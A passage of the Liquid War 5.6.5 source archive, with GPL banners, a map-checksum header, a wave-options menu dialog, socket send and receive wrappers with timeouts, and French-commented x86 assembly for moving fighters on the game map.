/* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int display_scores (void); #endif liquidwar-5.6.5/src/checksum.h0000664000372000037200000001024413407756104015704 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : checksum.h */ /* content : utilities to calculate a checksum from a map */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CHECKSUM #define LIQUID_WAR_INCLUDE_CHECKSUM /*==================================================================*/ /* includes */ /*==================================================================*/ #include "army.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern int lw_checksum_calc (FIGHTER * army, int army_size); #endif liquidwar-5.6.5/src/wave.c0000664000372000037200000001500713407756104015041 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : wave.c */ /* contenu : choix des options de vagues */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "wave.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int wave_options (void) { int *temp; DIALOG d[24]; DIALOG_PLAYER *dp; int i, j, k, choix = 4, retour = 0; memset (d, 0, sizeof (d)); display_back_image (); for (i = 0; i < 5; ++i) for (j = 0; j < 4; ++j) if (i > 0 || j > 0) { k = i * 4 + j + 3; standard_small_button (d + k, j, i, 4, 5); if (i > 0 && j > 0) { d[k].proc = my_slider_proc; d[k].dp = NULL; d[k].dp2 = slider_int; switch (j) { case 1: d[k].d1 = 16; d[k].dp3 = &(CONFIG_WAVE_AMPLI[i - 1]); break; case 2: d[k].d1 = 4; d[k].dp3 = &(CONFIG_WAVE_NUMBER[i - 1]); break; case 3: d[k].d1 = 16; d[k].dp3 = &(CONFIG_WAVE_SPEED[i - 1]); break; } temp = d[k].dp3; d[k].d2 = *temp; } else d[k].proc = my_textbox_proc; } d[23].proc = NULL; quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_WAVE_AMPLI); d[5].dp = lw_lang_string (LW_LANG_STRING_WAVE_NUMBER); d[6].dp = lw_lang_string (LW_LANG_STRING_WAVE_SPEED); d[7].dp = lw_lang_string (LW_LANG_STRING_WAVE_WX); d[11].dp = lw_lang_string (LW_LANG_STRING_WAVE_HY); d[15].dp = lw_lang_string (LW_LANG_STRING_WAVE_WY); d[19].dp = lw_lang_string (LW_LANG_STRING_WAVE_HX); display_back_image (); while (retour == 0) { dp = my_init_dialog (d, choix); while (my_update_dialog (dp)) ; choix = shutdown_dialog (dp); //choix=my_do_dialog (d,choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/sockex.c0000664000372000037200000005411013407756104015371 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sockw32.c */ /* content : simple wrappers on the winsock API */ /* last update : April 13th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #else #include #include #include #include #include #include #include #include #endif #include #include #include #include #include #include "macro.h" #include "sockgen.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_SOCK_RECV_SEC 8 #define LW_SOCK_RECV_USEC 0 #define LW_SOCK_SEND_SEC 8 #define LW_SOCK_SEND_USEC 0 #define LW_SOCK_SEND_BUFFER_SIZE 100 #define LW_SOCK_RECV_BUFFER_SIZE 200 /*==================================================================*/ /* macros */ /*==================================================================*/ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* static fonctions */ /*==================================================================*/ static void clean_buffer (char *buffer, int len); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Cleans up a message buffer from all characters which are not * plain standard ASCII. Used for logging information. */ static void clean_buffer (char *buffer, int len) { int i; for (i = 0; i < len; ++i) { if (!isalnum (buffer[i]) && buffer[i] != '-' && buffer[i] != '+') { buffer[i] = '.'; } } } /*------------------------------------------------------------------*/ /* * Returns true if the given number bytes is available on the socket */ int lw_sock_peek_ex (int *sock, int len) { int result = 0; int res; fd_set read; struct timeval tv; char buffer[LW_SOCK_MESSAGE_SIZE]; int sock_copy; if ((sock_copy = *sock) >= 0) { if (len <= LW_SOCK_MESSAGE_SIZE - 1) { FD_ZERO (&read); FD_SET (sock_copy, &read); tv.tv_sec = 0; tv.tv_usec = 0; res = select (sock_copy + 1, &read, NULL, NULL, &tv); if (res > 0) { if (FD_ISSET (sock_copy, &read)) { /* * First we test if there's enough data available */ if (recv (sock_copy, buffer, len, MSG_PEEK) == len) { result = 1; } } } } } return result; } /*------------------------------------------------------------------*/ /* * Sends a string on the network. * The advantage of this function over a raw "send" is that it does * a "strlen" automatically to know the length of the string, and * adds a tailing CR+LF so that the message is "telnet/http compliant" */ int lw_sock_send_str_ex (int *sock, char *str) { int result = 0; int len; char buffer[LW_SOCK_MESSAGE_SIZE]; int sock_copy; fd_set write; struct timeval tv; int res; int total_sent; int sent; #ifdef WIN32 int winerr; #endif if ((sock_copy = *sock) >= 0) { result = 1; /* * We put the string in a buffer, since we'll probably have * to modify it (cut if it's too long, add a tailing CR+LF). */ len = LW_SOCK_MESSAGE_SIZE - 3; LW_MACRO_STRNCPY (buffer, str, len); buffer[len] = '\x0d'; ++len; buffer[len] = '\x0a'; ++len; buffer[len] = '\0'; total_sent = 0; while (total_sent < len && result && (sock_copy = *sock) >= 0) { FD_ZERO (&write); FD_SET (sock_copy, &write); tv.tv_sec = LW_SOCK_SEND_SEC; tv.tv_usec = LW_SOCK_SEND_USEC; errno = 0; res = select (sock_copy + 1, NULL, &write, NULL, &tv); switch (res) { case -1: #ifdef WIN32 winerr = WSAGetLastError (); if (winerr != WSAEINTR && winerr != WSAENOBUFS) { result = 0; } #else if (errno != EINTR && errno != ENOBUFS) { result = 0; } #endif break; case 1: if (FD_ISSET (sock_copy, &write)) { sent = send (sock_copy, buffer + total_sent, len - total_sent, 0); if (sent > 0 && sent <= len - total_sent) { total_sent += sent; } else { result = 0; } } break; default: result = 0; } } if (LW_SOCK_LOG) { switch (result) { case 1: log_print_int (sock_copy); log_print_str (" > \""); log_print_str (str); log_print_str ("\""); log_println (); log_flush (); break; case 0: log_print_int (sock_copy); log_print_str (" > timeout!"); log_println (); break; default: log_print_int (sock_copy); log_print_str (" > unexpected error!"); log_println (); break; } } } return result; } /*------------------------------------------------------------------*/ /* * Receives some data from the network. * A tailing "\n" is expected. The routine handles both chr(10) and chr(13) * correctly so that the program can be used with telnet under UNIX or * windows without much trouble. * This tailing "\n" is removed, so the return string is just the exact * message which has been send with sock_send. * Buffer must be able to accept at least LW_SOCK_MESSAGE_SIZE chars. * Note that the function will not block forever, if there's no incoming * for more than a #define specified amount of time, it will return * an error. */ int lw_sock_recv_str_ex (int *sock, char *str) { int result = 0; int pos, l; int cr_found; char *cr; fd_set read; int sock_copy; struct timeval tv; int res; #ifdef WIN32 int winerr; #endif str[0] = '\0'; if ((sock_copy = *sock) >= 0) { result = 1; /* * We keep on trying to get data until * - we get a '\n' character * - the size of incoming data exceeds LW_SOCK_MESSAGE_SIZE * - there's a reception low level error */ cr_found = 0; pos = 0; while (!cr_found && pos < LW_SOCK_MESSAGE_SIZE - 1 && result > 0 && (sock_copy = *sock) >= 0) { FD_ZERO (&read); FD_SET (sock_copy, &read); tv.tv_sec = LW_SOCK_RECV_SEC; tv.tv_usec = LW_SOCK_RECV_USEC; errno = 0; res = select (sock_copy + 1, &read, NULL, NULL, &tv); switch (res) { case -1: #ifdef WIN32 winerr = WSAGetLastError (); if (winerr != WSAEINTR) { result = 0; } #else if (errno != EINTR) { result = 0; } #endif break; case 1: /* * We check that the event we just received concerns the socket * we are polling. If the event is not for us, let's consider * everything is fine... */ if (!FD_ISSET (sock_copy, &read)) { result = 1; } else { /* * We get the caracters one by one. This is a performance * killer but we don't care since this routine is only * used at the very beginning of the game, when the players * are connecting themselves. And it has the *big* advantage * that "netkeys" are not eaten up by this routine. More * precisely, there's used to be a bug because when reading * the final "OK" message, the clients read some netkeys * along with it, which caused some network inconsistency * since the messages had "disappeared". */ if ((l = recv (sock_copy, str + pos, 1, 0)) <= 0) { /* * OK, now we have received a message on this socket * but there's no data. In most of the cases this means * the socket is dead, so we return -1 instead of 0 * so that the caller can make the difference between * a timeout (0) and a dead socket (-1). */ result = -1; } else { /* * pos is an offset in the buffer. It is used to keep a * trace of where new data should be appended in case we * have to call recv several times to retrieve the whole * message. */ pos += l; /* * We add a tailing '\0' so that the string is "C compliant" */ str[pos] = 0; /* * We seek for character 10, which should be '\n' */ if ((cr = strchr (str, '\x0a')) != NULL) { cr_found = 1; /* * We handle the special character '13' for very often, * especially when using telnet, the strings come * with char(13)chr(10) at the end. So if it happens * that after removing the 10 there's still a 13, then * we remove the 13 as well. */ if ((cr - str) >= 1 && (*(cr - 1)) == '\x0d') { /* * Let's cut this ugly "ascii 13" character * along with "ascii 10" */ (*(cr - 1)) = 0; } else { /* * No "ascii 13" in sight, simply remove "ascii 10" */ (*cr) = 0; } } result = 1; } } break; default: result = 0; } } if (LW_SOCK_LOG) { switch (result) { case 1: log_print_int (sock_copy); log_print_str (" < \""); log_print_str (str); log_print_str ("\""); log_println (); log_flush (); break; case 0: log_print_int (sock_copy); log_print_str (" < timeout!"); log_println (); break; case -1: log_print_int (sock_copy); log_print_str (" < closed!"); log_println (); break; default: log_print_int (sock_copy); log_print_str (" < unexpected error!"); log_println (); break; } } } return result; } /*------------------------------------------------------------------*/ /* * Sends a buffer on the network. * Only a standard send wrapper */ int lw_sock_send_buffer_ex (int *sock, char *buffer, int len) { int result = 0; char trace[LW_SOCK_MESSAGE_SIZE]; fd_set write; struct timeval tv; int sock_copy; int res; int total_sent; int sent; #ifdef WIN32 int winerr; #endif if ((sock_copy = *sock) >= 0) { result = 1; if (len <= LW_SOCK_MESSAGE_SIZE - 1) { total_sent = 0; while (total_sent < len && result && (sock_copy = *sock) >= 0) { FD_ZERO (&write); FD_SET (sock_copy, &write); tv.tv_sec = LW_SOCK_SEND_SEC; tv.tv_usec = LW_SOCK_SEND_USEC; errno = 0; res = select (sock_copy + 1, NULL, &write, NULL, &tv); switch (res) { case -1: #ifdef WIN32 winerr = WSAGetLastError (); if (winerr != WSAEINTR && winerr != WSAENOBUFS) { result = 0; } #else if (errno != EINTR && errno != ENOBUFS) { result = 0; } #endif break; case 1: if (FD_ISSET (sock_copy, &write)) { sent = send (sock_copy, buffer + total_sent, MIN (len - total_sent, LW_SOCK_SEND_BUFFER_SIZE), 0); if (sent > 0 && sent <= len - total_sent) { total_sent += sent; } else { result = 0; } } break; default: result = 0; } } if (LW_SOCK_LOG) { if (result) { LW_MACRO_STRNCPY (trace, buffer, len); trace[len] = '\0'; log_print_int (sock_copy); log_print_str (" > ["); clean_buffer (trace, len); log_print_str (trace); log_print_str ("]"); log_println (); log_flush (); } else { log_print_int (sock_copy); log_print_str (" > timeout!"); log_println (); } } } else { result = 0; if (LW_SOCK_LOG) { log_print_int (sock_copy); log_print_str (" > message too large!"); log_println (); } } } return result; } /*------------------------------------------------------------------*/ /* * Receives a buffer on the network. * Only a standard recv wrapper */ int lw_sock_recv_buffer_ex (int *sock, char *buffer, int len) { int result = 0; char trace[LW_SOCK_MESSAGE_SIZE]; int res; fd_set read; struct timeval tv; int sock_copy; int total_received; int received; #ifdef WIN32 int winerr; #endif memset (buffer, 0, len); if ((sock_copy = *sock) >= 0) { result = 1; if (len <= LW_SOCK_MESSAGE_SIZE - 1) { total_received = 0; while (total_received < len && result && (sock_copy = *sock) >= 0) { FD_ZERO (&read); FD_SET (sock_copy, &read); tv.tv_sec = LW_SOCK_RECV_SEC; tv.tv_usec = LW_SOCK_RECV_USEC; errno = 0; res = select (sock_copy + 1, &read, NULL, NULL, &tv); switch (res) { case -1: #ifdef WIN32 winerr = WSAGetLastError (); if (winerr != WSAEINTR) { result = 0; } #else if (errno != EINTR) { result = 0; } #endif break; case 1: if (FD_ISSET (sock_copy, &read)) { received = recv (sock_copy, buffer + total_received, MIN (len - total_received, LW_SOCK_RECV_BUFFER_SIZE), 0); if (received > 0 && received <= len - total_received) { total_received += received; } else { result = 0; } } break; default: result = 0; } } if (LW_SOCK_LOG) { if (result) { LW_MACRO_STRNCPY (trace, buffer, len); trace[len] = '\0'; log_print_int (sock_copy); log_print_str (" < ["); clean_buffer (trace, len); log_print_str (trace); log_print_str ("]"); log_println (); log_flush (); } else { log_print_int (sock_copy); log_print_str (" < timeout!"); log_println (); } } } else { result = 0; if (LW_SOCK_LOG) { log_print_int (sock_copy); log_print_str (" < message too large!"); log_println (); } } } return result; } liquidwar-5.6.5/src/monster.s0000664000372000037200000012030713407756104015606 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : monster.s */ /* contenu : deplacement des streums accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*typedef union */ /* { */ /* int time; */ /* struct */ /* { */ /* short x; */ /* short y; */ /* } cursor; */ /* } MESH_UPDATE; */ /* typedef struct */ /* { */ /* int dir :8; */ /* int grad:24; */ /* } MESH_STATE; */ /*typedef struct */ /* { */ /* MESH_UPDATE update;*/ /* MESH_STATE state; */ /* } MESH_INFO; */ .equ SIZE_OF_INFO,8 .equ INFO_UPDATE,0 .equ INFO_STATE,4 /*typedef struct */ /* { */ /* char decal_for_dir :8; */ /* int size :24; */ /* } MESH_SIDE; */ /*typedef struct */ /* { */ /* short x; */ /* short y; */ /* MESH_SIDE side; */ /* MESH_INFO info[NB_TEAMS]; */ /* void *link[NB_DIRS]; */ /* } MESH; */ .equ SIZE_OF_MESH,104 .equ MESH_INFO,8 .equ MESH_LINK,56 /*typedef struct */ /* { */ /* short x; */ /* short y; */ /* short health; */ /* char team; */ /* char last_dir; */ /* } FIGHTER; */ .equ SIZE_OF_FIGHTER,8 .equ FIGHTER_XY,0 .equ FIGHTER_X,0 .equ FIGHTER_Y,2 .equ FIGHTER_HEALTH,4 .equ FIGHTER_TEAM,6 .equ FIGHTER_LAST_DIR,7 /*typedef struct */ /* { */ /* MESH *mesh; */ /* FIGHTER *fighter; */ /* } PLACE; */ .equ SIZE_OF_PLACE,8 .equ PLACE_MESH,0 .equ PLACE_FIGHTER,4 .equ MOVE_BLOCK_NUMBER,5 .equ ARG_CURRENT_ARMY, 8 .equ ARG_CURRENT_ARMY_SIZE, 12 .equ ARG_CURRENT_AREA, 16 .equ ARG_CURRENT_AREA_W, 20 .equ ARG_ACTIVE_FIGHTERS, 24 .equ ARG_ATTACK, 28 .equ ARG_DEFENSE, 32 .equ ARG_NEW_HEALTH, 36 .equ ARG_MAX_FIGHTER_HEALTH_1, 40 .equ ARG_SENS, 44 .equ ARG_START, 48 .equ ARG_NEG_GLOBAL_CLOCK, 52 .equ ARG_FIGHTER_MOVE_XY, 56 .equ ARG_FIGHTER_MOVE_OFFSET, 60 .equ ARG_CURRENT_AREA_BACK, 64 .equ ARG_CURRENT_AREA_DISP, 68 .equ ARG_COLOR_FIRST_ENTRY, 72 .equ ARG_COLORS_PER_TEAM, 76 .equ ARG_LOCAL_DIR, 80 .equ ARG_TEMP1, 84 .equ ARG_TEMP2, 88 .equ ARG_TEMP3, 92 .equ ARG_TEMP4, 96 .equ ARG_TEMP5, 100 .equ ARG_TEMP6, 104 .equ ARG_TEMP7, 108 .equ ARG_TEMP8, 112 .equ OFFSET_P0,0 .equ OFFSET_P1,4 .equ OFFSET_P2,8 .equ OFFSET_P3,12 .equ OFFSET_P4,16 .equ SIDE_ATTACK_FACTOR,4 #on divise attaque par 2^4=16 qd #l attaque se fait sur le cote /*#define AREA_START_GRADIENT 2000000*/ .equ AREA_START_GRADIENT,2000000*256 .text /*==================================================================*/ /* grosse fonction enorme, on fait ce qu on pneu */ /*==================================================================*/ /*--------------------------------------------------------------------*/ /* void boost_move_fighters (FIGHTER *current_army, */ /* int current_army_size, */ /* PLACE *current_area, */ /* int current_area_w, */ /* int *active_fighters, */ /* int *attack, */ /* int *defense, */ /* int *new_health, */ /* int max_fighter_health_1, */ /* int sens, */ /* int start, */ /* int neg_global_clock, */ /* int *fighter_move_xy, */ /* int *fighter_move_offset, */ /* char *current_area_back_data, */ /* char *current_area_disp_data, */ /* int *color_first_entry, */ /* int colors_per_team, */ /* int *local_dir, */ /* int temp1, */ /* int temp2, */ /* int temp3, */ /* int temp4, */ /* int temp5, */ /* int temp6, */ /* int temp7, */ /* int temp8); */ /*--------------------------------------------------------------------*/ .globl _boost_move_fighters .globl boost_move_fighters .align 4 _boost_move_fighters: boost_move_fighters: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es pushw %fs pushw %gs movw %ds,%ax movw %ax,%es movw %ax,%fs movw %ax,%gs movl ARG_CURRENT_ARMY_SIZE(%ebp),%ecx # ecx=nombre de streums movl ARG_CURRENT_ARMY(%ebp),%esi # esi=adresse du streum courant main_loop: push %ecx /*------------------------------------------------------------------*/ /* indice de l equipe */ /*------------------------------------------------------------------*/ xor %ecx,%ecx # ecx a zero movb FIGHTER_TEAM(%esi),%cl # equipe dans le champ ecx movl %ecx,%ds:ARG_TEMP1(%ebp) # temp1 prend team shl $2,%ecx # ecx contient maintenant team*4 /*------------------------------------------------------------------*/ /* mise a jour du nombre de combattants de l equipe */ /*------------------------------------------------------------------*/ mov ARG_ACTIVE_FIGHTERS(%ebp),%edi # recuperation de pointeur add %ecx,%edi # ajout de l offset pour l equipe incl %ds:(%edi) # mise a jour du fighter number /*------------------------------------------------------------------*/ /* localisation du streum courant */ /*------------------------------------------------------------------*/ movl FIGHTER_XY(%esi),%eax # eax contient fighter->xy xor %ebx,%ebx # ebx a 0 movw %ax,%bx # ebx contient fighter->x shr $16,%eax # eax contient fighter->y cdq # je crois que ca sert pour imul mull %ds:ARG_CURRENT_AREA_W(%ebp) # eax prend fighter->y*CURRENT_AREA_W add %ebx,%eax # eax contient un joli offset mov %eax,%ds:ARG_TEMP2(%ebp) # temp2 prend y*CURRENT_AREA_W+1 shl $3,%eax # eax*=8 (taille de PLACE) add ARG_CURRENT_AREA(%ebp),%eax mov %eax,%edi # edi=adresse dans CURRENT_AREA # situant la place du streum courant /*------------------------------------------------------------------*/ /* on recupere le parametre update du streum courant */ /*------------------------------------------------------------------*/ shl $1,%ecx # ecx contient maintenant team*8 add $MESH_INFO,%ecx # ecx=offset pour info%team mov PLACE_MESH(%edi),%ebx # ebx prend l adresse du maillage add %ecx,%ebx # sur l instant de mise a jour mov INFO_UPDATE(%ebx),%eax # eax=instant mise a jour /*------------------------------------------------------------------*/ /* on calcule la direction principale de deplacement */ /*------------------------------------------------------------------*/ cmp $0,%eax jge fdl_start /*------------------------------------------------------------------*/ /* calcul base sur les gradients */ /*------------------------------------------------------------------*/ mov ARG_NEG_GLOBAL_CLOCK(%ebp),%edx # edx=-GLOBAL_CLOCK cmp %edx,%eax # direction a jour??? je fdg_dir_ok # oui... # non, on la met, en mov %edx,INFO_UPDATE(%ebx) # commencant par l heure mov ARG_START(%ebp),%al # al=direction de depart mov %al,%ah # ah=direction courante ror $8,%eax mov %al,%ah # direction trouvee sur rol $8,%eax # la partie haute de eax mov $AREA_START_GRADIENT,%edx # plus proche distance # trouvee movb ARG_SENS(%ebp),%bl # bl=sens cmp $0,%bl jne fdg_sens_1 /*------------------------------------------------------------------*/ /* dans le sens 0 */ /*------------------------------------------------------------------*/ fdg_sens_0: loop_fdg_sens_0: xor %ebx,%ebx mov %ah,%bl sal $2,%ebx add PLACE_MESH(%edi),%ebx # ebx prend l adresse du maillage mov MESH_LINK(%ebx),%ebx cmp $0,%ebx # le mesh existe-t-il ??? je not_better_fdg_sens_0 add %ecx,%ebx # sur l instant de mise a jour mov INFO_STATE(%ebx),%ebx # ebx= distance cmp %edx,%ebx # on compare jge not_better_fdg_sens_0 # pas mieux mov %ebx,%edx # mieux!, on met a jour ror $8,%eax mov %al,%ah # direction trouve ds eax haut rol $8,%eax not_better_fdg_sens_0: inc %ah # direction suivante cmp $12,%ah jne skip_fdg_sens_0 xor %ah,%ah skip_fdg_sens_0: cmp %ah,%al jne loop_fdg_sens_0 movb $1,ARG_SENS(%ebp) # la prochaine fois on # changera de direction jmp fdg_end_of_calc /*------------------------------------------------------------------*/ /* dans le sens 1 */ /*------------------------------------------------------------------*/ fdg_sens_1: loop_fdg_sens_1: xor %ebx,%ebx mov %ah,%bl sal $2,%ebx add PLACE_MESH(%edi),%ebx # ebx prend l adresse du maillage mov MESH_LINK(%ebx),%ebx cmp $0,%ebx # le mesh existe-t-il ??? je not_better_fdg_sens_1 add %ecx,%ebx # sur l instant de mise a jour mov INFO_STATE(%ebx),%ebx # ebx= distance cmp %edx,%ebx # on compare jge not_better_fdg_sens_1 # pas mieux mov %ebx,%edx # mieux!, on met a jour ror $8,%eax mov %al,%ah # direction trouve ds eax haut rol $8,%eax not_better_fdg_sens_1: dec %ah # direction suivante jge skip_fdg_sens_1 mov $11,%ah skip_fdg_sens_1: cmp %ah,%al jne loop_fdg_sens_1 movb $0,ARG_SENS(%ebp) # la prochaine fois on # changera de direction # jmp fdg_end_of_calc /*------------------------------------------------------------------*/ /* fin du calcul, partie commune du calcul de direction principal */ /*------------------------------------------------------------------*/ fdg_end_of_calc: mov PLACE_MESH(%edi),%ebx # ebx prend l adresse du maillage add %ecx,%ebx # sur le param update ror $8,%eax # ah=dir choisie movb %ah,INFO_STATE(%ebx) # mise a jour en memoire /*------------------------------------------------------------------*/ /* la direction a ete calculee pour tout le mesh */ /*------------------------------------------------------------------*/ fdg_dir_ok: xor %eax,%eax # eax a 0 movb INFO_STATE(%ebx),%al # # movb $0,%al jmp dir_calculated skip_1: /*------------------------------------------------------------------*/ /* calcul "local" */ /*------------------------------------------------------------------*/ fdl_start: xor %ecx,%ecx # ecx= resultat des tests movl FIGHTER_XY(%esi),%edx # eax contient fighter->xy cmp %ax,%dx je fdl_skip_x1 jg fdl_skip_x2 or $2,%cl jmp fdl_skip_x1 fdl_skip_x2: or $8,%cl fdl_skip_x1: ror $16,%eax ror $16,%edx cmp %ax,%dx je fdl_skip_x3 jg fdl_skip_x4 or $4,%cl jmp fdl_skip_x3 fdl_skip_x4: or $1,%cl fdl_skip_x3: or %cl,%cl je on_the_spot mov ARG_LOCAL_DIR(%ebp),%ebx dec %cl shl $1,%cl add ARG_SENS(%ebp),%ecx shl $2,%cl add %ecx,%ebx mov (%ebx),%eax jmp end_of_fdl on_the_spot: mov ARG_START(%ebp),%eax end_of_fdl: #movb $6,%al # a l issue de ces calculs, eax contient la direction en question /*------------------------------------------------------------------*/ /* on dispose ici dans eax de la direction principale de deplacement*/ /*------------------------------------------------------------------*/ dir_calculated: shl $2,%eax mov %eax,%ecx shl $2,%eax add %eax,%ecx #ecx=eax*20... /*------------------------------------------------------------------*/ /* test si deplacement possible dans direction associee a p0 */ /*------------------------------------------------------------------*/ mov %ecx,%ebx #on recupere la dir add ARG_FIGHTER_MOVE_OFFSET(%ebp),%ebx #ebx=pointeur a garder!!! mov OFFSET_P0(%ebx),%eax #eax=offs ds cur_area mov %eax,ARG_TEMP5(%ebp) #offset dir p0 memorise shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_3 #oui mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #la place est-elle libre? jne skip_3 #non /*------------------------------------------------------------------*/ /* deplacement dans direction associee a p0 */ /*------------------------------------------------------------------*/ movl $0,%ds:PLACE_FIGHTER(%edi) #on vide dans cur_area mov %esi,%ds:PLACE_FIGHTER(%eax) #nouvelle place add ARG_FIGHTER_MOVE_XY(%ebp),%ecx #offset ds move_xy mov OFFSET_P0(%ecx),%edx #on charge l increm addl %edx,%ds:FIGHTER_XY(%esi) #addition des coord mov ARG_TEMP2(%ebp),%ecx #y*cur_area_w+x mov ARG_CURRENT_AREA_BACK(%ebp),%eax #eax=cur_area_back->dat add %ecx,%eax #pointe sur pixel 